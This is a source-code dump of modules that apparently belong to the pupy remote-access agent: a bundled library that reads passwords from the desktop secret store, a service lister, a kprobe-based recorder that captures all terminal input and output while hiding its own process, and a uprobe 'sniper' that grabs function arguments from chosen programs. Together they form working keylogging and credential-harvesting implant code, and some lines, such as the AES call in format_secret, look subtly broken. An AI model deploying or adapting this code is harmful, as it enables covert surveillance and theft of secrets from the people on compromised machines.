        self.encrypted = True
        # 128-bytes-long strong random number
        self.my_private_key = int_from_bytes(os.urandom(0x80), 'big')
        self.my_public_key = pow(2, self.my_private_key, DH_PRIME_1024)

    def set_server_public_key(self, server_public_key):
        common_secret = pow(server_public_key, self.my_private_key,
            DH_PRIME_1024)
        common_secret = int_to_bytes(common_secret)
        # Prepend NULL bytes if needed
        common_secret = b'\x00' * (0x80 - len(common_secret)) + common_secret
        # HKDF with null salt, empty info and SHA-256 hash
        salt = b'\x00' * 0x20
        pseudo_random_key = hmac.new(salt, common_secret, sha256).digest()
        output_block = hmac.new(pseudo_random_key, b'\x01', sha256).digest()
        # Resulting AES key should be 128-bit
        self.aes_key = output_block[:0x10]


================================================
FILE: pupy/packages/linux/all/secretstorage/exceptions.py
================================================
# SecretStorage module for Python
# Access passwords using the SecretService DBus API
# Author: Dmitry Shachnev, 2012
# License: BSD

"""All secretstorage functions may raise various exceptions when
something goes wrong. All exceptions derive from base
:exc:`SecretStorageException` class."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

class SecretStorageException(Exception):
    """All exceptions derive from this class."""

class SecretServiceNotAvailableException(SecretStorageException):
    """Raised by :class:`~secretstorage.item.Item` or
    :class:`~secretstorage.collection.Collection` constructors, or by
    other functions in the :mod:`secretstorage.collection` module, when
    the Secret Service API is not available."""

class LockedException(SecretStorageException):
    """Raised when an action cannot be performed because the collection
    is locked. Use :meth:`~secretstorage.collection.Collection.is_locked`
    to check if the collection is locked, and
    :meth:`~secretstorage.collection.Collection.unlock` to unlock it.
    """

class ItemNotFoundException(SecretStorageException):
    """Raised when an item does not exist or has been deleted. Example of
    handling:

    >>> import secretstorage
    >>> bus = secretstorage.dbus_init()
    >>> item_path = '/not/existing/path'
    >>> try:
    ...     item = secretstorage.Item(bus, item_path)
    ... except secretstorage.ItemNotFoundException:
    ...     print('Item not found!')
    ...
    Item not found!

    Also, :func:`~secretstorage.collection.create_collection` may raise
    this exception when a prompt was dismissed during creating the
    collection.
    """


================================================
FILE: pupy/packages/linux/all/secretstorage/item.py
================================================
# SecretStorage module for Python
# Access passwords using the SecretService DBus API
# Author: Dmitry Shachnev, 2013
# License: BSD

"""SecretStorage item contains a *secret*, some *attributes* and a
*label* visible to user. Editing all these properties and reading the
secret is possible only when the :doc:`collection <collection>` storing
the item is unlocked. The collection can be unlocked using collection's
:meth:`~secretstorage.collection.Collection.unlock` method."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import dbus
from secretstorage.defines import SS_PREFIX
from secretstorage.exceptions import LockedException
from secretstorage.util import InterfaceWrapper, bus_get_object, \
 open_session, format_secret, to_unicode, unlock_objects
from Crypto import Cipher

ITEM_IFACE = SS_PREFIX + 'Item'

class Item(object):
    """Represents a secret item."""

    def __init__(self, bus, item_path, session=None):
        self.item_path = item_path
        item_obj = bus_get_object(bus, item_path)
        self.session = session
        self.bus = bus
        self.item_iface = InterfaceWrapper(item_obj, ITEM_IFACE)
        self.item_props_iface = InterfaceWrapper(item_obj,
            dbus.PROPERTIES_IFACE)
        self.item_props_iface.Get(ITEM_IFACE, 'Label', signature='ss')

    def __eq__(self, other):
        return self.item_path == other.item_path

    def is_locked(self):
        """Returns :const:`True` if item is locked, otherwise
        :const:`False`."""
        return bool(self.item_props_iface.Get(ITEM_IFACE, 'Locked',
            signature='ss'))

    def ensure_not_locked(self):
        """If collection is locked, raises
        :exc:`~secretstorage.exceptions.LockedException`."""
        if self.is_locked():
            raise LockedException('Item is locked!')

    def unlock(self, callback=None):
        """Requests unlocking the item. Usually, this will mean that the
        whole collection containing this item will be unlocked.

        If `callback` is specified, calls it when unlocking is complete
        (see :func:`~secretstorage.util.exec_prompt` description for
        details). Otherwise, uses the loop from GLib API and returns a
        boolean representing whether the operation was dismissed.

        .. versionadded:: 2.1.2"""
        return unlock_objects(self.bus, [self.item_path], callback)

    def get_attributes(self):
        """Returns item attributes (dictionary)."""
        attrs = self.item_props_iface.Get(ITEM_IFACE, 'Attributes',
            signature='ss')
        return {to_unicode(key): to_unicode(value)
            for key, value in attrs.items()}

    def set_attributes(self, attributes):
        """Sets item attributes to `attributes` (dictionary)."""
        self.item_props_iface.Set(ITEM_IFACE, 'Attributes', attributes,
            signature='ssv')

    def get_label(self):
        """Returns item label (unicode string)."""
        label = self.item_props_iface.Get(ITEM_IFACE, 'Label',
            signature='ss')
        return to_unicode(label)

    def set_label(self, label):
        """Sets item label to `label`."""
        self.ensure_not_locked()
        self.item_props_iface.Set(ITEM_IFACE, 'Label', label,
            signature='ssv')

    def delete(self):
        """Deletes the item."""
        self.ensure_not_locked()
        return self.item_iface.Delete(signature='')

    def get_secret(self):
        """Returns item secret (bytestring)."""
        self.ensure_not_locked()
        if not self.session:
            self.session = open_session(self.bus)
        secret = self.item_iface.GetSecret(self.session.object_path,
            signature='o')
        if not self.session.encrypted:
            return bytes(bytearray(secret[2]))
        aes_iv = bytes(bytearray(secret[1]))
        aes = Cipher.AES.new(self.session.aes_key, Cipher.AES.MODE_CBC, aes_iv)
        encrypted_secret = bytes(bytearray(secret[2]))
        padded_secret = aes.decrypt(encrypted_secret)
        padded_secret = bytearray(padded_secret)
        return bytes(padded_secret[:-padded_secret[-1]])

    def get_secret_content_type(self):
        """Returns content type of item secret (string)."""
        self.ensure_not_locked()
        if not self.session:
            self.session = open_session(self.bus)
        secret = self.item_iface.GetSecret(self.session.object_path,
            signature='o')
        return str(secret[3])

    def set_secret(self, secret, content_type='text/plain'):
        """Sets item secret to `secret`. If `content_type` is given,
        also sets the content type of the secret (``text/plain`` by
        default)."""
        self.ensure_not_locked()
        if not self.session:
            self.session = open_session(self.bus)
        secret = format_secret(self.session, secret, content_type)
        self.item_iface.SetSecret(secret, signature='(oayays)')

    def get_created(self):
        """Returns UNIX timestamp (integer) representing the time
        when the item was created.

        .. versionadded:: 1.1"""
        return int(self.item_props_iface.Get(ITEM_IFACE, 'Created',
            signature='ss'))

    def get_modified(self):
        """Returns UNIX timestamp (integer) representing the time
        when the item was last modified."""
        return int(self.item_props_iface.Get(ITEM_IFACE, 'Modified',
            signature='ss'))

    def to_tuple(self):
        """Returns (*attributes*, *secret*) tuple representing the
        item."""
        self.ensure_not_locked()
        return self.get_attributes(), self.get_secret()


================================================
FILE: pupy/packages/linux/all/secretstorage/util.py
================================================
# SecretStorage module for Python
# Access passwords using the SecretService DBus API
# Author: Dmitry Shachnev, 2013
# License: BSD

"""This module provides some utility functions, but these shouldn't
normally be used by external applications."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import binascii
import struct

def int_from_bytes(data, byteorder, signed=False):
    if len(data) % 4 != 0:
        data = (b'\x00' * (4 - (len(data) % 4))) + data

    result = 0

    while len(data) > 0:
        digit, = struct.unpack('>I', data[:4])
        result = (result << 32) + digit
        # TODO: this is quadratic in the length of data
        data = data[4:]

    return result

def int_to_bytes(integer, length=None):
    hex_string = '%x' % integer
    if length is None:
        n = len(hex_string)
    else:
        n = length * 2
    return binascii.unhexlify(hex_string.zfill(n + (n & 1)))

import dbus
import os
from secretstorage.defines import DBUS_UNKNOWN_METHOD, DBUS_NO_SUCH_OBJECT, \
 DBUS_SERVICE_UNKNOWN, DBUS_NO_REPLY, DBUS_NOT_SUPPORTED, DBUS_EXEC_FAILED, \
 SS_PATH, SS_PREFIX, ALGORITHM_DH, ALGORITHM_PLAIN
from secretstorage.dhcrypto import Session
from secretstorage.exceptions import ItemNotFoundException, \
 SecretServiceNotAvailableException
from Crypto import Cipher

BUS_NAME = 'org.freedesktop.secrets'
SERVICE_IFACE = SS_PREFIX + 'Service'

class InterfaceWrapper(dbus.Interface):
    """Wraps :cls:`dbus.Interface` class and replaces some D-Bus exceptions
    with :doc:`SecretStorage exceptions <exceptions>`."""

    def catch_errors(self, function_in):
        def function_out(*args, **kwargs):
            try:
                return function_in(*args, **kwargs)
            except dbus.exceptions.DBusException as e:
                if e.get_dbus_name() == DBUS_UNKNOWN_METHOD:
                    raise ItemNotFoundException('Item does not exist!')
                if e.get_dbus_name() == DBUS_NO_SUCH_OBJECT:
                    raise ItemNotFoundException(e.get_dbus_message())
                if e.get_dbus_name() in (DBUS_NO_REPLY, DBUS_NOT_SUPPORTED):
                    raise SecretServiceNotAvailableException(
                        e.get_dbus_message())
                raise
        return function_out

    def __getattr__(self, attribute):
        result = dbus.Interface.__getattr__(self, attribute)
        if callable(result):
            result = self.catch_errors(result)
        return result

def bus_get_object(bus, object_path, service_name=None):
    """A wrapper around :meth:`SessionBus.get_object` that raises
    :exc:`~secretstorage.exceptions.SecretServiceNotAvailableException`
    when appropriate."""
    name = service_name or BUS_NAME
    try:
        return bus.get_object(name, object_path, introspect=False)
    except dbus.exceptions.DBusException as e:
        if e.get_dbus_name() in (DBUS_SERVICE_UNKNOWN, DBUS_EXEC_FAILED,
                                 DBUS_NO_REPLY):
            raise SecretServiceNotAvailableException(e.get_dbus_message())
        raise

def open_session(bus):
    """Returns a new Secret Service session."""
    service_obj = bus_get_object(bus, SS_PATH)
    service_iface = dbus.Interface(service_obj, SS_PREFIX+'Service')
    session = Session()
    try:
        output, result = service_iface.OpenSession(
            ALGORITHM_DH,
            dbus.ByteArray(int_to_bytes(session.my_public_key)),
            signature='sv'
        )
    except dbus.exceptions.DBusException as e:
        if e.get_dbus_name() != DBUS_NOT_SUPPORTED:
            raise
        output, result = service_iface.OpenSession(
            ALGORITHM_PLAIN,
            '',
            signature='sv'
        )
        session.encrypted = False
    else:
        output = int_from_bytes(bytearray(output), 'big')
        session.set_server_public_key(output)
    session.object_path = result
    return session

def format_secret(session, secret, content_type):
    """Formats `secret` to make possible to pass it to the
    Secret Service API."""
    if not isinstance(secret, bytes):
        secret = secret.encode('utf-8')
    if not session.encrypted:
        return dbus.Struct((session.object_path, '',
            dbus.ByteArray(secret), content_type))
    # PKCS-7 style padding
    padding = 0x10 - (len(secret) & 0xf)
    secret += bytes(bytearray((padding,)) * padding)
    aes_iv = os.urandom(0x10)
    aes = Cipher.AES.new(session.aes_key, Cipher.MODE_CBC, Cipher.AES.aes_iv)
    encrypted_secret = aes.encrypt(secret)
    return dbus.Struct((
        session.object_path,
        dbus.Array(aes_iv),
        dbus.Array(bytearray(encrypted_secret)),
        content_type
    ))

def exec_prompt(bus, prompt, callback):
    """Executes the given `prompt`, when complete calls `callback`
    function with two arguments: a boolean representing whether the
    operation was dismissed and a list of unlocked item paths. A main
    loop should be running and registered for this function to work."""
    prompt_obj = bus_get_object(bus, prompt)
    prompt_iface = dbus.Interface(prompt_obj, SS_PREFIX+'Prompt')
    prompt_iface.Prompt('', signature='s')

    def new_callback(dismissed, unlocked):
        if isinstance(unlocked, dbus.Array):
            unlocked = list(unlocked)
        callback(bool(dismissed), unlocked)

    prompt_iface.connect_to_signal('Completed', new_callback)

def exec_prompt_glib(bus, prompt):
    """Like :func:`exec_prompt`, but synchronous (uses loop from GLib
    API). Returns (*dismissed*, *unlocked*) tuple."""
    from gi.repository import GLib
    loop = GLib.MainLoop()
    result = []

    def callback(dismissed, unlocked):
        result.append(dismissed)
        result.append(unlocked)
        loop.quit()

    exec_prompt(bus, prompt, callback)
    loop.run()
    return result[0], result[1]

def exec_prompt_qt(bus, prompt):
    """Like :func:`exec_prompt`, but synchronous (uses loop from PyQt5
    API). Returns (*dismissed*, *unlocked*) tuple."""
    from PyQt5.QtCore import QCoreApplication
    app = QCoreApplication([])
    result = []

    def callback(dismissed, unlocked):
        result.append(dismissed)
        result.append(unlocked)
        app.quit()

    exec_prompt(bus, prompt, callback)
    app.exec_()
    return result[0], result[1]

def unlock_objects(bus, paths, callback=None):
    """Requests unlocking objects specified in `paths`. If `callback`
    is specified, calls it when unlocking is complete (see
    :func:`exec_prompt` description for details).
    Otherwise, uses the loop from GLib API and returns a boolean
    representing whether the operation was dismissed.

    .. versionadded:: 2.1.2"""
    service_obj = bus_get_object(bus, SS_PATH)
    service_iface = InterfaceWrapper(service_obj, SERVICE_IFACE)
    unlocked_paths, prompt = service_iface.Unlock(paths, signature='ao')
    unlocked_paths = list(unlocked_paths)  # Convert from dbus.Array
    if len(prompt) > 1:
        if callback:
            exec_prompt(bus, prompt, callback)
        else:
            return exec_prompt_glib(bus, prompt)[0]
    elif callback:
        # We still need to call it.
        callback(False, unlocked_paths)

def to_unicode(string):
    """Converts D-Bus string to unicode string."""
    try:
        # For Python 2
        return unicode(string)
    except NameError:
        # For Python 3
        return str(string)


================================================
FILE: pupy/packages/linux/all/services.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import sys
import os
import dbus

if sys.version_info.major > 2:
    unicode = str


def get_services_systemd():
    sys_bus = dbus.SystemBus()
    systemd = sys_bus.get_object('org.freedesktop.systemd1', '/org/freedesktop/systemd1')

    list_units = systemd.get_dbus_method('ListUnits', 'org.freedesktop.systemd1.Manager')

    objects = []

    for unit, description, loaded, active, status, _, sd_object, _, _, _ in list_units():
        if not unit.endswith('.service'):
            continue

        unit_object = sys_bus.get_object('org.freedesktop.systemd1', sd_object)
        service_iface = dbus.Interface(unit_object, 'org.freedesktop.DBus.Properties')
        properties = service_iface.GetAll('org.freedesktop.systemd1.Service')

        exec_start = properties.get('ExecStart')

        binpath = ''

        if not len(exec_start):
            continue

        exec_start = exec_start[-1]

        argv0, argv = exec_start[0], exec_start[1]
        binpath = None

        argv0 = unicode(argv0)
        argv = [unicode(x) for x in argv]

        if os.path.basename(argv0) == os.path.basename(argv[0]):
            binpath = argv0
        else:
            binpath = '{}| {}'.format(argv0, argv[0])

        if len(argv) > 1:
            binpath += ' ' + ' '.join([x if ' ' not in x else repr(x) for x in argv[1:]])

        objects.append({
            'name': unicode(unit),
            'display_name': unicode(description),
            'status': unicode(status),
            'pid': int(properties.get('MainPID')) or None,
            'binpath': unicode(binpath),
            'username': unicode(properties.get('User'))
        })

    return objects

if __name__ == '__main__':
    for x in get_services_systemd():
        print(x)


================================================
FILE: pupy/packages/linux/all/ttyrec.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'TTYMon', 'TTYRec', 'start', 'stop', 'dump'
)

import os
import re
import fcntl
import select
import errno
import struct
import zlib

from io import open
from threading import Lock

from pupy.agent import manager, Task

try:
    from pupy.network.lib.transports.cryptoutils import get_random
except ImportError:
    def get_random(cnt):
        with open('/dev/urandom', 'rb') as urandom:
            return urandom.read(cnt)

if not __name__ == '__main__':
    from pupy.network.lib.buffer import Buffer

DEBUGFS='/sys/kernel/debug'

KPROBE_REGISTRY='tracing/kprobe_events'
TRACE_PIPE='tracing/trace_pipe'
TRACE='tracing/trace'
KPROBE_EVENTS='tracing/events/kprobes'
KPROBES_ENABLED='kprobes/enabled'

# These are to derive tty_struct from file*
# name can be found from synclink.ko:mgsl_stop/mgsl_start
TTY_PRIVATE_2 = '0x0'


def _to_int(x):
    if x is None:
        return None
    elif isinstance(x, (int, long)):
        return x
    elif x.startswith('0x'):
        return int(x[2:], 16)
    else:
        return int(x)


class KProbesNotAvailable(Exception):
    pass


class KProbesNotEnabled(Exception):
    pass


class Kallsyms(object):
    def __init__(self):
        with open('/proc/kallsyms') as kallsyms:
            for ks in kallsyms:
                ks = ks.strip()
                addr, t, name = ks.split(' ')[:3]
                setattr(self, name, addr)


class TTYState(object):
    __slots__ = (
        'size', 'first_input'
    )

    def __init__(self):
        self.size = None
        self.first_input = None

    def need_resize(self, size):
        if self.size is None:
            self.size = size
            return True

        if self.size != size:
            self.size = size
            return True

        return False

    def get_last_input(self, ts):
        ts = float(ts)
        if self.first_input is None:
            self.first_input = ts
            return 0.0

        return ts - self.first_input


class Probe(object):
    __slots__ = (
        'type', 'name', 'func', 'args', 'kwargs'
    )

    def __init__(self, type, name, func, *args, **kwargs):
        self.type = type
        self.name = name
        self.func = func
        self.args = args
        self.kwargs = kwargs

    @property
    def registered(self):
        return os.path.exists(
            os.path.join(DEBUGFS, KPROBE_EVENTS, self.name, 'enable')
        )

    @property
    def statement(self):
        parts = [
            self.type + ':' + self.name,
            self.func
        ]

        parts.extend(self.args)

        statement = ' '.join(parts)
        if self.kwargs:
            statement = statement.format(**self.kwargs)

        return statement

    def enable(self):
        if not self.registered:
            return

        with open(os.path.join(
                DEBUGFS, KPROBE_EVENTS, self.name, 'enable'), 'w') as enable:
            enable.write('1\n')

    def disable(self):
        if not self.registered:
            return

        with open(os.path.join(
                DEBUGFS, KPROBE_EVENTS, self.name, 'enable'), 'w') as enable:
            enable.write('0\n')

    def unregister(self):
        if not self.registered:
            return

        try:
            with open(os.path.join(
                    DEBUGFS, KPROBE_REGISTRY), 'w') as registry:
                registry.write('-:' + self.name+'\n')
        except IOError:
            pass


class TTYMon(object):
    def __init__(self, name, winsize, tty_private, ignore=[]):
        self.validate()

        kallsyms = Kallsyms()

        self._ignore = [ignore] if type(ignore) is int else ignore

        self._probes = [
            Probe(
                'p',
                'tty_o',
                '0x{addr}',
                '+{tty_name_offt}(+{struct}(+{private}({vfs_file}))):string',
                '+{winsiz_offt_x}(+{struct}(+{private}({vfs_file}))):u16',
                '+{winsiz_offt_y}(+{struct}(+{private}({vfs_file}))):u16',
                '{size}:s32',
                '+0({buffer}):string',
                addr=kallsyms.tty_write,
                buffer=r'%si',
                vfs_file=r'%di',
                size=r'%dx',
                tty_name_offt=name,
                struct=TTY_PRIVATE_2,
                private=tty_private,
                winsiz_offt_x=winsize+2,
                winsiz_offt_y=winsize
            ),
            Probe(
                'p',
                'pty_o',
                '0x{addr}',
                '+{tty_name_offt}({tty_struct}):string',
                '+{winsiz_offt_x}({tty_struct}):u16',
                '+{winsiz_offt_y}({tty_struct}):u16',
                '{size}:s32',
                '+0({buffer}):string',
                addr=kallsyms.pty_write,
                buffer=r'%si',
                tty_struct=r'%di',
                size=r'%dx',
                tty_name_offt=name,
                winsiz_offt_x=winsize+2,
                winsiz_offt_y=winsize
            ),
            Probe(
                'r',
                'tty_i',
                'tty_read',
                '+{tty_name_offt}(+{struct}(+{private}({vfs_file}))):string',
                '+{winsiz_offt_x}(+{struct}(+{private}({vfs_file}))):u16',
                '+{winsiz_offt_y}(+{struct}(+{private}({vfs_file}))):u16',
                '{size}:s64',
                '+0({buffer}):string',
                vfs_file='$stack1',
                buffer='$stack2',
                size='$retval',
                tty_name_offt=name,
                struct=TTY_PRIVATE_2,
                private=tty_private,
                winsiz_offt_x=winsize+2,
                winsiz_offt_y=winsize
            )
        ]

        self._tty_cache = {}
        self._started = False
        self._stopping = False
        self._stopped = True
        self._pipe = None
        self._pipe_fd = None
        self._parser_body = r'\s+([^-]+)-(\d+)\s+\[\d+\]\s+[^\s]+\s+(\d+\.\d+):' \
            r'\s+({})_([o|i]):\s+\([^+]+\+[^)]+\)\s+arg1="([^"]+)"\s+arg2=(\S+)\s+arg3=(\S+)\s+arg4=(-?\S+)\s+arg5="'.format(
                '|'.join(probe.name.rsplit('_', 1)[0] for probe in self._probes))

        self._parser_start = re.compile(self._parser_body)
        self._parser_end = re.compile('"\n'+self._parser_body, re.MULTILINE)

    def validate(self):
        if not os.path.exists(os.path.join(DEBUGFS, KPROBE_REGISTRY)):
            raise KProbesNotAvailable('Tracing using KProbes are not accessible/available')

        with open(os.path.join(DEBUGFS, KPROBES_ENABLED)) as enabled:
            if int(enabled.read().strip()) == 0:
                raise KProbesNotEnabled('KProbes were intentionally disabled')

    def stop(self):
        self._stopping = True

    @property
    def active(self):
        return self._started and not self._stopped

    def _enable(self):

        # Ensure stopped
        self._disable()

        self._stopped = False
        self._stopping = False

        statement = '\n'.join(
            probe.statement for probe in self._probes
        ) + '\n'

        try:
            with open(os.path.join(
                    DEBUGFS, KPROBE_REGISTRY), 'w') as registry:
                registry.write(statement)

            for probe in self._probes:
                probe.enable()

        except IOError:
            self._disable()
            raise

        self._started = True

    def _disable(self):
        statement = '\n'.join(
            ('-:' + probe.name) for probe in self._probes
        ) + '\n'

        for probe in self._probes:
            probe.disable()

        try:
            with open(os.path.join(
                    DEBUGFS, KPROBE_REGISTRY), 'w') as registry:
                registry.write(statement)
        except IOError:
            pass

    def __iter__(self):
        self._enable()

        try:
            with open(os.path.join(DEBUGFS, TRACE), 'w') as trace:
                trace.write('')

            self._pipe = open(os.path.join(DEBUGFS, TRACE_PIPE), 'rb')
            self._pipe_fd = self._pipe.fileno()

            flag = fcntl.fcntl(self._pipe_fd, fcntl.F_GETFL)
            fcntl.fcntl(self._pipe_fd, fcntl.F_SETFL, flag | os.O_NONBLOCK)

            for block in self._collector():
                yield block
        finally:
            try:
                self._disable()
            except IOError:
                pass

            self._pipe.close()

        self._stopped = True
        self._started = False

    def _collector(self):
        more = True
        buf = ''

        while not self._stopping:
            if more:
                try:
                    r = os.read(self._pipe_fd, 8192)

                    buf += r
                except OSError as e:
                    if e.errno not in (errno.EAGAIN, errno.ENODATA):
                        raise

                    _, _, xlist = select.select(
                        [self._pipe], [], [self._pipe], 10
                    )
                    if xlist:
                        break

                    continue

            start = self._parser_start.search(buf)
            more = not bool(start)
            if more:
                more = True
                continue

            rest = buf[start.end():]
            end = self._parser_end.search(rest)
            more = not bool(end)

            if more:
                continue

            comm, pid, ts, rule, probe, tty_name, x, y, items = \
                start.groups()

            # groups_debug.write(repr(start.groups()) + '\n')

            pid = _to_int(pid)
            items = _to_int(items)
            x = _to_int(x)
            y = _to_int(y)

            data = rest[:end.start()]
            buf = rest[end.start()+2:]

            if items > 0:
                data = data[:items]
            else:
                # Something went wrong
                continue

            if tty_name.startswith('ptm'):
                # Throw away this crap
                continue

            if rule == 'tty' and not tty_name.startswith(
                    'tty') and probe == 'o':
                # Throw away pty/tty duplicates
                continue

            if tty_name not in self._tty_cache:
                self._tty_cache[tty_name] = TTYState()

            ts = self._tty_cache[tty_name].get_last_input(ts)

            if pid in self._ignore:
                continue

            if self._tty_cache[tty_name].need_resize((x, y)):
                yield tty_name, comm, pid, 'R', ts, (x, y)

            yield tty_name, comm, pid, probe, ts, data


class TTYRec(Task):
    __slots__ = ('_ttymon', '_results_lock', '_state', '_event_id')

    def __init__(self, manager, event_id=None,
            name=None, winsize=None, tty_private=None):
        super(TTYRec, self).__init__(manager)
        self._ttymon = TTYMon(
            name, winsize, tty_private, ignore=[os.getpid(), os.getppid()]
        )
        self._results_lock = Lock()
        self._buffer = Buffer()
        self._compressor = zlib.compressobj(9)
        self._event_id = event_id
        self._session = 0

    def task(self):
        self._session, = struct.unpack('<I', get_random(4))

        for tty_name, comm, pid, probe, ts, buf in self._ttymon:

            tty_name = tty_name[:8].ljust(8)
            comm = comm[:16].ljust(16)

            if probe == 'R':
                buf = struct.pack('<HH', *buf)

            with self._results_lock:
                packet = self._compressor.compress(
                    struct.pack(
                        '<I8s16ssIfI',
                        self._session, tty_name, comm, probe, pid,
                        ts, len(buf)) + buf)
                self._buffer.append(packet)

                fire_event = False

                if not self._dirty:
                    fire_event = True

                self._dirty = True

                try:
                    if fire_event and self._event_id is not None:
                        self.broadcast_event(self._event_id)
                except Exception:
                    pass

    @property
    def results(self):
        result = None

        with self._results_lock:
            if not self._dirty:
                return None

            try:
                packet = self._compressor.flush()
                self._buffer.append(packet)
            except zlib.error:
                pass

            result = self._buffer
            self._buffer = Buffer()
            self._compressor = zlib.compressobj(9)
            self._dirty = False

        return result

    @property
    def active(self):
        return self._ttymon.active

    def stop(self):
        self._ttymon.stop()
        super(TTYRec, self).stop()


def start(event_id=None, name=0xE0, winsize=0x1B0, tty_private=0x30):
    try:
        if manager.active(TTYRec):
            return False
    except:
        try:
            manager.stop(TTYRec)
        except:
            pass

    return manager.create(
        TTYRec, event_id=event_id,
        name=name, winsize=winsize, tty_private=tty_private
    )


def stop():
    return manager.stop(TTYRec)


def dump():
    ttyrec = manager.get(TTYRec)
    if ttyrec:
        return ttyrec.results


================================================
FILE: pupy/packages/linux/all/usniper.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import threading
import random
import string
import re
import os
import pupy.agent
import builtins
import fcntl
import select

from io import open

import sys

if sys.version_info.major > 2:
    basestring = str
    long = int


class USniper(pupy.Task):
    def __init__(self, manager, path, addr, reg='ax', ret=False, cast='', argtype=None):
        super(USniper, self).__init__(manager)

        self._path = path

        if not os.path.isabs(self._path) or not os.path.exists(self._path):
            raise ValueError('Executable {} not found'.format(self._path))

        if ret:
            self._match = re.compile(
                r'^\s*[^-]+-([\d]+)\s+\[[0-9]+\]\s+[a-z.]{4}\s(\d+)\.\d+:'
                r'\s+([^:]+):\s\(0x[a-f0-9]+\s\<\-\s0x[a-f0-9]+\)\s+arg1=(?:(?:0x)?([0-9a-f]+)|"([^"]+)"$)')
        else:
            self._match = re.compile(
                r'^\s*[^-]+-([\d]+)\s+\[[0-9]+\]\s+[a-z.]{4}\s(\d+)\.\d+:'
                r'\s+([^:]+):\s\(0x[a-f0-9]+\)\s+arg1=(?:(?:0x)?([0-9a-f]+)|"([^"]+)"$)')

        if isinstance(addr, basestring):
            if addr.startswith('0x'):
                addr = int(addr[2:], 16)
            else:
                addr = int(addr)

        self._type = argtype
        self._ret = ret
        self._reg = '%' + reg
        self._cast = cast
        self._addr = hex(addr) if type(addr) in (int, long) else addr
        self._worker = None
        self._lock = threading.Lock()
        self._fs = '/sys/kernel/debug'
        self._pipe = None
        self._marker = ''.join(
            random.choice(string.ascii_uppercase + string.digits) for _ in range(16)
        )

        self._results = {}

        try:
            with open('{}/tracing/uprobe_events'.format(self._fs), 'w') as events:
                register = '{}:{} {}:{} {}\n'.format(
                    'r' if self._ret else 'p', self._marker, self._path, self._addr,
                    '+0({}):{}'.format(self._reg, self._cast) if self._cast else self._reg
                )
                events.write(register)

        except IOError:
            self._stopped.set()
            raise

        with open('{}/tracing/events/uprobes/{}/enable'.format(self._fs, self._marker), 'w') as trigger:
            trigger.write('1\n')


    @property
    def results(self):
        with self._lock:
            result = self._results
            self._results = {}
            return result

    def stop(self):
        self._stopped.set()
        with self._lock:
            if self._pipe:
                try:
                    os.close(self._pipe.fileno())
                except:
                    pass

        return True

    def task(self):
        try:
            with open('{}/tracing/trace_pipe'.format(self._fs), 'r') as trace:
                self._pipe = trace
                fd = trace.fileno()
                flag = fcntl.fcntl(fd, fcntl.F_GETFL)
                fcntl.fcntl(fd, fcntl.F_SETFL, flag | os.O_NONBLOCK)

                buf = ''

                while not self._stopped.is_set():
                    rlist = []

                    try:
                        rlist, _, xlist = select.select([trace], [], [trace], 10)
                    except:
                        break

                    if xlist:
                        break

                    if not rlist:
                        continue

                    try:
                        buf = buf + os.read(trace.fileno(), 4096)
                    except IOError:
                        break

                    if not buf:
                        break

                    if '\n' not in buf:
                        continue

                    if buf.endswith('\n'):
                        lines = buf.split('\n')
                        buf = ''
                    else:
                        last_n = buf.rfind('\n')
                        buf, lines = buf[last_n+1:], buf[:last_n].split('\n')

                    for line in lines:
                        if line.startswith('#'):
                            continue

                        groups = self._match.match(line)

                        if not groups or not groups.group(3) == self._marker:
                            continue

                        pid = groups.group(1)
                        ts = groups.group(2)
                        reg = groups.group(4)
                        string = groups.group(5)
                        if reg:
                            value = int(reg, 16)
                            if self._type:
                                value = self._type(value)
                        elif string:
                            value = string
                        else:
                            value = ''

                        with self._lock:
                            if pid not in self._results:
                                exe = os.readlink('/proc/{}/exe'.format(pid))
                                cmdline = []
                                with open('/proc/{}/cmdline'.format(pid)) as fcmdline:
                                    cmdline = [
                                        x for x in fcmdline.read().split('\x00') if x
                                    ]

                                self._results[pid] = {
                                    'exe': exe,
                                    'cmd': cmdline,
                                    'dump': {}
                                }

                            if ts not in self._results[pid]['dump']:
                                self._results[pid]['dump'][ts] = []

                            self._results[pid]['dump'][ts].append(value)

        except IOError as e:
            if not e.errno == 9:
                raise

        finally:
            with self._lock:
                if self._pipe:
                    self._pipe.close()
                    self._pipe = None

            with open('{}/tracing/events/uprobes/{}/enable'.format(self._fs, self._marker), 'w') as trigger:
                trigger.write('0\n')

            try:
                with open('{}/tracing/uprobe_events'.format(self._fs), 'w') as events:
                    events.write('-:{}\n'.format(self._marker))
            except:
                pass


def start(path, addr, reg='ax', ret=False, cast=None, argtype='chr', event_id=None):
    try:
        if pupy.agent.manager.active(USniper):
            return False
    except:
        try:
            pupy.agent.manager.stop(USniper)
        except:
            pass

    if argtype and hasattr(builtins, argtype):
        argtype = getattr(builtins, argtype)
    else:
        argtype = None

    return pupy.agent.manager.create(
        USniper, path, addr, reg, ret, cast, argtype,
        event_id=event_id
    ) is not None


def stop():
    return pupy.agent.manager.stop(USniper)


def dump():
    usniper = pupy.agent.manager.get(USniper)
    if usniper:
        return usniper.results


================================================
FILE: pupy/packages/patches/all/scapy/__init__.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
## This file is part of Scapy
## See http://www.secdev.org/projects/scapy for more informations
## Copyright (C) Philippe Biondi <phil@secdev.org>
## This program is published under a GPLv2 license

## PATCHED

VERSION = 'pupy-git'


================================================
FILE: pupy/packages/patches/all/scapy/all.py
================================================
## This file is part of Scapy
## See http://www.secdev.org/projects/scapy for more informations
## Copyright (C) Philippe Biondi <phil@secdev.org>
## This program is published under a GPLv2 license

## PATCHED

"""
Aggregate top level objects from all Scapy modules.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from scapy.base_classes import *
from scapy.config import *
from scapy.data import *
from scapy.error import *
from scapy.themes import *
from scapy.arch import *

from scapy.supersocket import *
from scapy.volatile import *
from scapy.as_resolvers import *

from scapy.main import *
from scapy.consts import *
